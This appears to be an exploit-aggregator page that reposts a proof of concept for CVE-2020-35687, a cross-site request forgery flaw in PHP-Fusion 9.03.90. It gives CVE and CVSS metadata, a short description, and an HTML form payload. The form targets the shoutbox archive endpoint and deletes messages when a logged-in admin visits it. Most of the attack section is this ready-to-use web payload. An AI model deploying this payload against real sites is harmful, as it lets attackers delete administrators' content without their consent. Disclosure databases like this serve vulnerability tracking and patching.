PHP-Fusion 9.03.90 Cross Site Request Forgery

CVE Category Price Severity
CVE-2020-35687 CWE-352 $500 High
Author Risk Exploitation Type Date
Exploit Alert Team High Remote 2021-01-16
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

PHP-Fusion 9.03.90 Cross Site Request Forgery
# Exploit Title: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)
# Date: 2020-12-21
# Exploit Author: Mohamed Oosman B S
# Vendor Homepage:
# Software Link:
# Version: 9.03.90 and below
# Tested on: Windows 10
# CVE : CVE-2020-35687

1. Description:
PHP-Fusion version 9.03.90 is vulnerable to CSRF attack which leads to deletion of shoutbox messages by the attacker on behalf of the logged in victim.

2. Proof of Concept
As the requests for deleting the admin shoutbox are sent using the GET method, the CSRF attack to delete an attacker-controlled shoutbox message can be performed by having the admin visit directly,
after getting to know the shout_id of the message, as it is sequential.

<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/infusions/shoutbox_panel/shoutbox_archive.php">
<input type="hidden" name="s_action" value="delete" />
<input type="hidden" name="shout_id" value="3" />
<input type="submit" value="Submit request" />

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